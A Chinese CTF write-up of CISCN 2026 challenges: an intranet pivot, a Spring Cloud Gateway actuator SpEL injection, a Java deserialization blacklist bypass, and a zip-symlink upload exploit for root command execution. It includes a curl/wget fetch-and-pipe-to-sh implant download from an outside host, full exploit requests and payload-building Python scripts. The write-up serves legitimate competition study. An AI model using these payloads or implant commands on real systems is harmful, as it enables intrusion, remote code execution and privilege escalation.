CISCN2026部分题目复现

ISW

192.168.7.8

出了一个入口机的flag,当时也不知道怎么进入admin.php的,莫名其妙就能进了

'default_admin' => [
        'username' => 'admin',
        'password' => 'Io5gyiIw79bNC',
    ],

预期解法应该是扫描目录得到data.sqlite这个数据库文件拿到管理员帐密

登陆后就是一个简单的文件上传,蚁剑连接后上线vshell

(curl -fsSL -m180 http://10.11.116.99:9001/slt||wget -T180 -q
http://10.11.116.99:9001/slt)|sh

可以看到根目录下有个f1ag

cmsapp@dmz-cms:/tmp$ find . -exec cat /f1ag \;
flag1: flag{faafcf92d6744ba293479c80fd600be8}

上传fscan扫描内网

cmsapp@dmz-cms:/tmp$ cat result.txt
192.168.7.83:8092 open
192.168.7.8:80 open
192.168.7.51:80 open
192.168.7.128:22 open
192.168.7.51:22 open
192.168.7.83:22 open
192.168.7.8:22 open
192.168.7.13:22 open
192.168.7.83:21 open
[*] WebTitle http://192.168.7.8        code:200 len:6510   title:首页 | 华讯内容管理系统
[*] WebTitle http://192.168.7.51       code:200 len:595    title:Directory listing for /
[+] InfoScan http://192.168.7.51       [目录遍历] 
[*] WebTitle http://192.168.7.83:8092  code:404 len:282    title:None
10.11.136.193:22 open
10.11.136.195:80 open
10.11.136.195:22 open
[*] WebTitle http://10.11.136.195      code:200 len:6510   title:首页 | 华讯内容管理系统

这个192.168.7.8就是入口机,192.168.7.51是一个pwn题目,192.168.7.83是一个springboot,ftp弱密码连接可以拿到一个app.jar,但是比赛时候没分析出来

192.168.7.83

Yakit扫描得到ftp弱密码,Xftp连接拿到一个app.jar

jadx分析

这是一个基于 Spring Boot 3.xSpring Cloud 2025.xAPI 网关服务

分析了这么些jar包,习惯性的先找pom.xml和application.yml

management:
  endpoints:
    web:
      exposure:
        include: gateway
  endpoint:
    gateway:
      access: unrestricted

注意到这里unrestricted,意味着允许这个端点的全部操作,这就是我们可以利用的点

Allow里面有POST,说明 Gateway Actuator 可写

确认可刷新,

关闭限制性属性访问器

POST /actuator/gateway/routes/s1 HTTP/1.1
Host: 127.0.0.1:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/json
Connection: close
Content-Length: 473

{
  "id":"s1",
  "uri":"http://127.0.0.1:8092",
  "predicates":[
    {
      "name":"Path",
      "args":{"_genkey_0":"/s1/**"}
    }
  ],
  "filters":[
    {
      "name":"SetPath",
      "args":{"_genkey_0":"/actuator"}
    },
    {
      "name":"AddResponseHeader",
      "args":{
        "name":"X-Out",
        "value":"#{@systemProperties['spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled']='false'}"
      }
    }
  ]
}

返回201

改目录

将资源目录,改成系统根目录,这样访问文件时访问的是根目录

POST /actuator/gateway/routes/s2 HTTP/1.1
Host: 127.0.0.1:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/json
Connection: close
Content-Length: 443

{
  "id":"s2",
  "uri":"http://127.0.0.1:8092",
  "predicates":[
    {
      "name":"Path",
      "args":{"_genkey_0":"/s2/**"}
    }
  ],
  "filters":[
    {
      "name":"SetPath",
      "args":{"_genkey_0":"/actuator"}
    },
    {
      "name":"AddResponseHeader",
      "args":{
        "name":"X-Out",
        "value":"#{@resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:/'}"
      }
    }
  ]
}

返回201

重新初始化

POST /actuator/gateway/routes/s3 HTTP/1.1
Host: 127.0.0.1:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/json
Connection: close
Content-Length: 443

{
  "id":"s3",
  "uri":"http://127.0.0.1:8092",
  "predicates":[
    {
      "name":"Path",
      "args":{"_genkey_0":"/s3/**"}
    }
  ],
  "filters":[
    {
      "name":"SetPath",
      "args":{"_genkey_0":"/actuator"}
    },
    {
      "name":"AddResponseHeader",
      "args":{
        "name":"X-Out",
        "value":"#{@resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet ?: 'ok'}"
      }
    }
  ]
}

刷新后访问文件

D:\desktop\work_place\Web>curl.exe -i -X POST http://127.0.0.1:8092/actuator/gateway/refresh
HTTP/1.1 200 OK
content-length: 0

可以看到返回200,说明刷新成功,然后依次验证三条路由是否写入

D:\desktop\work_place\Web>curl.exe -i http://127.0.0.1:8092/s1   
HTTP/1.1 200 OK
Content-Type: application/vnd.spring-boot.actuator.v3+json
Content-Length: 157
X-Out: false

{"_links":{"self":{"href":"http://127.0.0.1:8092/actuator","templated":false},"gateway":{"href":"http://127.0.0.1:8092/actuator/gateway","templated":false}}}
D:\desktop\work_place\Web>curl.exe -i http://127.0.0.1:8092/s2
HTTP/1.1 200 OK
Content-Type: application/vnd.spring-boot.actuator.v3+json
Content-Length: 157
X-Out: file:/

{"_links":{"self":{"href":"http://127.0.0.1:8092/actuator","templated":false},"gateway":{"href":"http://127.0.0.1:8092/actuator/gateway","templated":false}}}
D:\desktop\work_place\Web>curl.exe -i http://127.0.0.1:8092/s3
HTTP/1.1 200 OK
Content-Type: application/vnd.spring-boot.actuator.v3+json
Content-Length: 157
X-Out: ok

{"_links":{"self":{"href":"http://127.0.0.1:8092/actuator","templated":false},"gateway":{"href":"http://127.0.0.1:8092/actuator/gateway","templated":false}}}

看到X-Out: false、X-Out: file:/、X-Out: ok即可

访问文件即可

D:\desktop\work_place\Web>curl.exe -i http://127.0.0.1:8092/webjars/etc/passwd
HTTP/1.1 200 OK
Last-Modified: Thu, 30 Apr 2026 09:36:42 GMT
Content-Length: 1422
Content-Type: application/octet-stream
Accept-Ranges: bytes

root:x:0:0:root:/root:/bin/bash
...

实战应该就是通过这种拿配置文件,然后看能不能拿ssh密钥获得shell继续横向

web(本地复现分析)

JavaUnbound

题目:真的不是很难,绕过一下就可以了

打开浏览器回显hello world,给了jar包,jadx分析一下

SecurityConfig

//BOOT-INF/classes/com/ezjava/config/SecurityConfig.class
@Configuration
public class SecurityConfig {
    @PostConstruct
    //在依赖注入完成后、类正式投入使用前自动执行一次
    public void init() {
        System.setSecurityManager(new CustomSecurityManager());
        //设置全局的安全管理器
    }
}

CustomSecurityManager

//BOOT-INF/classes/com/ezjava/config/CustomSecurityManager.class
public class CustomSecurityManager extends SecurityManager {
    @Override // java.lang.SecurityManager
    //重写检查网络连接的方法
    public void checkConnect(String host, int port, Object context) {
        try {
            InetAddress addr = InetAddress.getByName(host);// 解析主机名
            if (!addr.isLoopbackAddress()) {// 判断是否为回环地址
                throw new SecurityException("Network access denied: " + host + ":" + port);
                // 不是本地地址就报错
            }
        } catch (Exception e) {
            throw new SecurityException("Network access denied: " + host + ":" + port);
            // 解析失败也报错
        }
    }
}

禁止该程序访问除本地回环地址(127.0.0.1)以外的所有网络连接

访问本地文件没有专门拦截,但是禁止访问外部网站,那么就不能进行DNSLog、外带 HTTP 请求、连外网回显、反弹 shell 到外部 VPS这种了

HelloController

//BOOT-INF/classes/com/ezjava/controller/HelloController.class

@RestController
public class HelloController {
    @GetMapping({"/"})
    public String hello() {
        return "hello world";
    }

    @PostMapping({"/"})
    public String deserialize(@RequestBody byte[] data) {//整个 body 按原始字节接收成 byte[] data
        try {
            ByteArrayInputStream bais = new ByteArrayInputStream(data);
            //把客户端传来的原始字节,当作一个文件来读
            ObjectInputStream ois = new SafeObjectInputStream(bais);
            //SafeObjectInputStream这里做了防护
            ois.readObject();
            ois.close();
            return "deserialization success";
            //反序列化成功,不一定有命令执行回显
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

可以看到这里有deserialize,可以打反序列化链

SafeObjectInputStream

看一下它的这个防护

//BOOT-INF/classes/com/ezjava/utils/SafeObjectInputStream.class
public class SafeObjectInputStream extends ObjectInputStream {
    private static final String[] blacklist = {"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet", "javax.management.remote.rmi.RMIConnector"};

    public SafeObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    @Override // java.io.ObjectInputStream
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        //重写 resolveClass,出现黑名单类 → 直接抛异常
        String className = desc.getName();
        for (String forbiddenPackage : blacklist) {
            if (className.startsWith(forbiddenPackage)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }
        return super.resolveClass(desc);
    }
}

定义了一个黑名单,想拦经典危险类

private static final String[] blacklist = {
    "java.lang.Runtime",
    "java.lang.ProcessBuilder",
    //命令执行
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "java.security.SignedObject",
    "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",
    "javax.management.remote.rmi.RMIConnector"
        //常见包装或远程触发点
};

1.直接执行命令类。 Java 执行系统命令的最直接方式

java.lang.Runtime
java.lang.ProcessBuilder

2.字节码加载与动态注入

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

TemplatesImpl 允许通过 _bytecodes 属性传入十六进制的类字节码。一旦被触发,它会加载并实例化攻击者传入的任意恶意 Java 类

AbstractTranslet 通常是攻击类需要继承的父类,所以也被一起封杀了

3.二次反序列化与绕过

java.security.SignedObject

它本质上是一个“包装盒”,可以把另一个对象序列化后封存在里面。

常利用它来绕过某些基于黑名单的 ObjectInputStream 检查:因为 SignedObject 在被调用 getObject() 时,内部会开启一个新的 ObjectInputStream 进行二次反序列化,如果只检查了第一层,就会被它绕过去。

4.远程调用与 JNDI 注入

javax.management.remote.rmi.RMIConnector

可以触发 lookup 操作,引导服务器去请求一个远程的恶意恶意地,从而加载外部的恶意代码。

pom.xml

    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

可以打CommonsCollections3(CC3)链,注意黑名单是过滤了TemplatesImpl了的,所以在java-chains里面得用CommonsCollectionsK3(CC3.2.1 ChainedTransformer 链)

Yakit请求包一:

POST / HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-User: ?1
sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Mode: navigate
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: none
Content-Type: application/json

{{base64dec(生成的base64数据)}}

返回:

HTTP/1.1 200
Content-Type: text/html; charset=UTF-8
Date: Thu, 07 May 2026 16:44:42 GMT
Content-Length: 23

deserialization success

说明反序列化成功了,不过没有回显,用JegGadget(调用 Jeg 生成回显字节码)

Yakit请求包二:

POST / HTTP/1.1
Host: 127.0.0.1:8080
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
Sec-Fetch-Dest: document
Cache-Control: no-cache
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Pragma: no-cache
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
X-Authorization: pwd
Content-Type: application/octet-stream

{{base64dec(生成的base64数据)}}

命令执行的地方在:

X-Authorization: pwd

这里的Content-Type要修改,本地测试的application/octet-stream和application/json是可行的

回显:

HTTP/1.1 200
Date: Thu, 07 May 2026 16:47:33 GMT
Content-Length: 5

/app

ThemeSync

环境搭建

本地跑附件源码,提前放一个flag在flags目录下

wolf@wolf:~/ctf/web/ThemeSync/docker/files$ cd flag
wolf@wolf:~/ctf/web/ThemeSync/docker/files/flag$ ls
wolf@wolf:~/ctf/web/ThemeSync/docker/files/flag$ echo 'flag{local_test}' > flag.txt
wolf@wolf:~/ctf/web/ThemeSync/docker/files/flag$ ls
flag.txt
wolf@wolf:~/ctf/web/ThemeSync/docker/files/flag$ cat flag.txt
flag{local_test}
wolf@wolf:~/ctf/web/ThemeSync/docker/files/flag$ cd ..
wolf@wolf:~/ctf/web/ThemeSync/docker/files$ cd ..
wolf@wolf:~/ctf/web/ThemeSync/docker$ docker compose up --build
[+] Building 101.7s (14/14) FINISHED
......

主题包上传服务 ,首页返回了一些接口,有些接口直接访问有鉴权,后续要对jar包进行分析

绕过鉴权

protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
        String requestPath = request.getRequestURI();
        if (!requestPath.startsWith(PROTECTED_PREFIX)) {
            filterChain.doFilter(request, response);
            //PROTECTED_PREFIX就是/api/v2/preview/,如果路由开头不是/api/v2/preview/,就直接放行
        } else if (this.authPattern.matcher(buildAuthCandidate(request)).matches()) {
            filterChain.doFilter(request, response);
        } else {
            response.setStatus(403);
            response.getWriter().write("blocked by regex auth");
        }
    }

看到这一句:

this.authPattern.matcher(buildAuthCandidate(request)).matches()

将我们的请求在this.authPattern这个正则前匹配,匹配成功就放行,不然就报403

这时候去找这个正则匹配,在BOOT-INF/classes/application.yml

server:
  port: 8080

spring:
  servlet:
    multipart:
      max-file-size: 20MB
      max-request-size: 20MB

challenge:
  auth-pattern: "^/api/v2/preview/[A-Za-z]+.*?/download$"
  workspace-root: "/tmp/ez-nginx/imports"
  reload-script: "/usr/local/bin/reload-nginx.sh"
  dynamic-config-path: "/usr/local/openresty/nginx/conf/snippets/ez-dynamic.conf"

^ (匹配行首

/api/v2/preview/ 请求以这个路径开头

[A-Za-z]+匹配任何大写或小写的英文字母且至少出现一次

.\*?

. 代表匹配除换行符以外的任意字符

* 代表前面的字符可以出现0次或无数次

? 开启“懒惰模式”

/download$ 保证 /download 必须是整个字符串的最后部分

buildAuthCandidate(request)这个会将整个请求路径都带进去匹配,包括参数

private String buildAuthCandidate(HttpServletRequest request) {
        String query = request.getQueryString();//获取参数
        if (query == null || query.isEmpty()) {
            return request.getRequestURI();
        }
        return request.getRequestURI() + CallerData.NA + query;
    //CallerData.NA是?,拼接url和请求参数
    }

那么在正则匹配过了之后,spring mvc获取路由的时候url和参数是分开的,那这个时候就能通过这个差异绕过了这个鉴权,只要保证结尾是/download即可,比如

C:\Users\Admin>curl http://127.0.0.1:8888/api/v2/preview/admin/sync/job
blocked by regex auth
C:\Users\Admin>curl http://127.0.0.1:8888/api/v2/preview/admin/sync/job?x=/download
{"workspace":"/tmp/ez-nginx/imports","targetConfig":"/usr/local/openresty/nginx/conf/snippets/ez-dynamic.conf","field":"package","lastOperator":"ops-bot"}
C:\Users\Admin>

现在可以确定鉴权能绕过,上传字段名是 package,工作目录是 /tmp/ez-nginx/imports

上传分析

找一下文件上传的逻辑

@PostMapping(value = {"/api/v2/preview/admin/sync/upload"}, consumes = {"multipart/form-data"})
    public ImportResult sync(@RequestPart("package") MultipartFile packageFile) throws IOException {
        return this.themePackageService.accept(packageFile);
    }

上传点在/api/v2/preview/admin/sync/upload,用POST方式,格式为multipart/form-data,表单命名为package

分析一下这个上传具体逻辑:

/* JADX INFO: loaded from: ez-nginx.jar:BOOT-INF/classes/com/example/eznginx/service/ThemePackageServiceImpl.class */
@Service
public class ThemePackageServiceImpl implements ThemePackageService {
    //对ThemePackageService的具体实现,可以看到accept实现的具体逻辑
    private static final String IMPORT_PREFIX = "import-";
    private static final String ARCHIVE_NAME = "package.zip";
    private static final String EXTRACT_DIR_NAME = "unpacked";
    private static final String ZIP_SUFFIX = ".zip";
    private final ChallengeProperties properties;
    private final RuntimeConfigService runtimeConfigService;

    public ThemePackageServiceImpl(ChallengeProperties properties, RuntimeConfigService runtimeConfigService) {
        this.properties = properties;
        this.runtimeConfigService = runtimeConfigService;
    }
    //依赖注入

    @Override // com.example.eznginx.service.ThemePackageService
    public ImportResult accept(MultipartFile file) throws IOException {
        validateArchive(file);
        Path workspaceRoot = ensureDirectory(Paths.get(this.properties.getWorkspaceRoot(), new String[0]));
        Path sessionRoot = Files.createTempDirectory(workspaceRoot, IMPORT_PREFIX, new FileAttribute[0]);
        Path archivePath = storeArchive(file, sessionRoot);
        Path extractRoot = ensureDirectory(sessionRoot.resolve(EXTRACT_DIR_NAME));
        extractArchive(archivePath, extractRoot);
        this.runtimeConfigService.refresh();
        //刷新配置
        return new ImportResult(sessionRoot.toString(), this.properties.getDynamicConfigPath(), true);
        
    }

先进行一次validateArchive(file)检验

private void validateArchive(MultipartFile archive) {
        String filename = archive.getOriginalFilename();//获取原始名称
        if (archive.isEmpty() || filename == null || !filename.endsWith(ZIP_SUFFIX)) {
            //压缩包不能为空,文件名不能为空,后缀要是zip
            throw new IllegalArgumentException("package must be a non-empty zip file");
        }
    }

确保/tmp/ez-nginx/imports目录存在,不存在就创建

Path workspaceRoot = ensureDirectory(Paths.get(this.properties.getWorkspaceRoot(), new String[0]));

创建临时会话目录,在/tmp/ez-nginx/imports下,前缀为import-,例如得到/tmp/ez-nginx/imports/import-1234567890这样的目录

Path sessionRoot = Files.createTempDirectory(workspaceRoot, IMPORT_PREFIX, new FileAttribute[0]);

然后就是讲上传内容保存到刚刚临时目录下的package.zip内,这里仅仅只是做保存,未作防护

Path archivePath = storeArchive(file, sessionRoot);

然后是确定解压目录,在刚刚临时目录下的unpacked文件夹内

Path extractRoot = ensureDirectory(sessionRoot.resolve(EXTRACT_DIR_NAME));

再将刚刚村的package.zip解压到刚刚创建的解压目录下

extractArchive(archivePath, extractRoot);

这里我们看一下extractArchive的逻辑

private void extractArchive(Path archivePath, Path extractRoot) throws IOException {
        ZipFile zipFile = new ZipFile(archivePath.toFile());
        try {
            Enumeration<ZipArchiveEntry> entries = zipFile.getEntries();
            while (entries.hasMoreElements()) {
                ZipArchiveEntry entry = entries.nextElement();
                extractEntry(zipFile, entry, extractRoot);
            }
            zipFile.close();
        } catch (Throwable th) {
            try {
                zipFile.close();
            } catch (Throwable th2) {
                th.addSuppressed(th2);
            }
            throw th;
        }
    }

遍历这个压缩包里面的每一个条目,用extractEntry方法处理,这种方式是很危险的,看一下extractEntry的逻辑就知道了

private void extractEntry(ZipFile zipFile, ZipArchiveEntry entry, Path extractRoot) throws IOException {
        Path outputPath = resolveOutputPath(extractRoot, entry.getName());
        if (entry.isDirectory()) {
            ensureDirectory(outputPath);
        } else if (entry.isUnixSymlink()) {
            writeSymlink(zipFile, entry, outputPath);
        } else {
            writeRegularFile(zipFile, entry, outputPath);
        }
    }

private void writeSymlink(ZipFile zipFile, ZipArchiveEntry entry, Path outputPath) throws IOException {
        createParent(outputPath);
        Files.deleteIfExists(outputPath);
        String symlinkTarget = readSymlinkTarget(zipFile, entry);
        Files.createSymbolicLink(outputPath, Paths.get(symlinkTarget, new String[0]), new FileAttribute[0]);
    }

private Path resolveOutputPath(Path extractRoot, String entryName) throws IOException {
        Path outputPath = extractRoot.resolve(entryName).normalize();//路径脱水,防止路径穿越
        if (!outputPath.startsWith(extractRoot)) {
            throw new IOException("illegal archive entry: " + entryName);
        }
        return outputPath;
    }

这里是漏洞核心位置,虽然防止了路径穿越,但是主要的点在entry.isUnixSymlink()这

对于正常的目录和文件会直接创建或写在硬盘上,如果属性是symlink的话,就会在磁盘创建一个软链接,

如果此时在这个symlink 目录下再写入别的条目,那么在前面已经创建了恶意软链接,那么就可以做到将文件写入其他目录,或者覆盖原文件

漏洞利用

此时知道了怎么做,现在开始实操,我们最开始首页就暴露了上传接口,后续分析jar包后可以实现绕过鉴权

创建一个验证exp:

import zipfile
from stat import S_IFLNK

payload = b'''location = /inspect {
    default_type text/plain;
    return 200 "probe_ok\\n";
}
'''

with zipfile.ZipFile("probe.zip", "w") as z:
    # 1. 创建一个 symlink 条目:x -> /usr/local/openresty/nginx/conf/snippets
    zi = zipfile.ZipInfo("x")
    zi.create_system = 3 # 标记为 Unix 系统
    zi.external_attr = ((S_IFLNK | 0o777) << 16) # 设置为软链接权限
    z.writestr(zi, "/usr/local/openresty/nginx/conf/snippets")

    # 2. 创建一个普通文件条目:x/ez-dynamic.conf
    zi = zipfile.ZipInfo("x/ez-dynamic.conf")
    zi.create_system = 3
    zi.external_attr = (0o644 << 16)
    z.writestr(zi, payload)

print("probe.zip generated")

在这个压缩包的同目录打开cmd

D:\desktop\work_place\Web>curl -F "package=@probe.zip;type=application/zip" "http://127.0.0.1:8888/api/v2/preview/admin/sync/upload?x=/download"
{"extractedTo":"/tmp/ez-nginx/imports/import-8083481565290392883","dynamicConfigPath":"/usr/local/openresty/nginx/conf/snippets/ez-dynamic.conf","reloaded":true}
D:\desktop\work_place\Web>curl http://127.0.0.1:8888/inspect
probe_ok

可以看到reload成功:”reloaded”:true

上传恶意命令exp之前我们分析一下附件里面给的一个c文件,SUID程序

#include <stdio.h>
#include <unistd.h>

int main(void) {
    char *const argv[] = {"service-check", "status", NULL};

    if (setgid(0) != 0 || setuid(0) != 0) {
        perror("setuid");
        return 1;
    }//确保是root权限
   
    execvp(argv[0], argv);
    //p表示从环境变量找命令,就是说执行的service-check命令会从PATH找
    perror("execvp");
    return 1;
}

那我们现在可以通过创建软链接来劫持这个SUID程序

import zipfile
from stat import S_IFLNK

#Lua注入
#content_by_lua_block:OpenResty 的核心指令,允许直接在 Nginx 处理请求的过程中运行 Lua 代码
#PATH=. /usr/local/bin/ops-helper空格连接仅仅临时修改环境
nginx_snippet = r'''location = /inspect {
    default_type text/plain;
    content_by_lua_block {
        local f = io.popen("cd /tmp/ez-nginx/imports && PATH=. /usr/local/bin/ops-helper 2>&1")
        local data = f:read("*a")
        f:close()
        ngx.say(data)
    }
}
'''

with zipfile.ZipFile("solve.zip", "w") as z:
    # x -> nginx snippets
    zi = zipfile.ZipInfo("x")
    zi.create_system = 3
    zi.external_attr = ((S_IFLNK | 0o777) << 16)
    z.writestr(zi, "/usr/local/openresty/nginx/conf/snippets")

    # 覆盖 ez-dynamic.conf
    zi = zipfile.ZipInfo("x/ez-dynamic.conf")
    zi.create_system = 3
    zi.external_attr = (0o644 << 16)
    z.writestr(zi, nginx_snippet)

    # y -> /tmp/ez-nginx/imports
    zi = zipfile.ZipInfo("y")
    zi.create_system = 3
    zi.external_attr = ((S_IFLNK | 0o777) << 16)
    z.writestr(zi, "/tmp/ez-nginx/imports")

    # y/service-check -> /bin/sh
    zi = zipfile.ZipInfo("y/service-check")
    zi.create_system = 3
    zi.external_attr = ((S_IFLNK | 0o777) << 16)
    z.writestr(zi, "/bin/sh")

    # y/status
    zi = zipfile.ZipInfo("y/status")
    zi.create_system = 3
    zi.external_attr = (0o644 << 16)
    z.writestr(zi, "/bin/cat /flag.txt\n")

print("solve.zip generated")

运行

D:\desktop\work_place\Web>curl -F "package=@solve.zip;type=application/zip" "http://127.0.0.1:8888/api/v2/preview/admin/sync/upload?x=/download"
{"extractedTo":"/tmp/ez-nginx/imports/import-7546730134644676064","dynamicConfigPath":"/usr/local/openresty/nginx/conf/snippets/ez-dynamic.conf","reloaded":true}
D:\desktop\work_place\Web>curl http://127.0.0.1:8888/inspect
flag{local_test}

因为是root权限执行,所以也可以换成其他命令,比如换成z.writestr(zi, "/bin/id\n")

D:\desktop\work_place\Web>curl -F "package=@solve.zip;type=application/zip" "http://127.0.0.1:8888/api/v2/preview/admin/sync/upload?x=/download"
{"extractedTo":"/tmp/ez-nginx/imports/import-3496373560110929912","dynamicConfigPath":"/usr/local/openresty/nginx/conf/snippets/ez-dynamic.conf","reloaded":true}
D:\desktop\work_place\Web>curl http://127.0.0.1:8888/inspect
uid=0(root) gid=0(root) groups=0(root),998(nginxuser)

总结

福州挺有意思的,虽然没怎么逛,不过吃了很多,尽管学校一分钱也没报销,没招了,自己出钱坐高铁去

高铁站看热闹,pwn✌瞎拍照还被安保人员盯上了,谁能绷住。。。

住的比赛协议酒店,以为有温泉的,结果没有。真是次奥了

酒店离赛场还有30公里,早上六点就起来了

比赛居然不是准点开始,领导们讲话讲了挺久,平台还死机了十来分钟

比赛手册说的是9点开始,快十点了才看到题目,不过后面推迟了结束时间,倒也没毛

本来以为要跟去年一样出flask的,结果出了一堆JAVA,吃大亏了,还好有大手子队友。

后面安心准备考公了,继续加油了

下一篇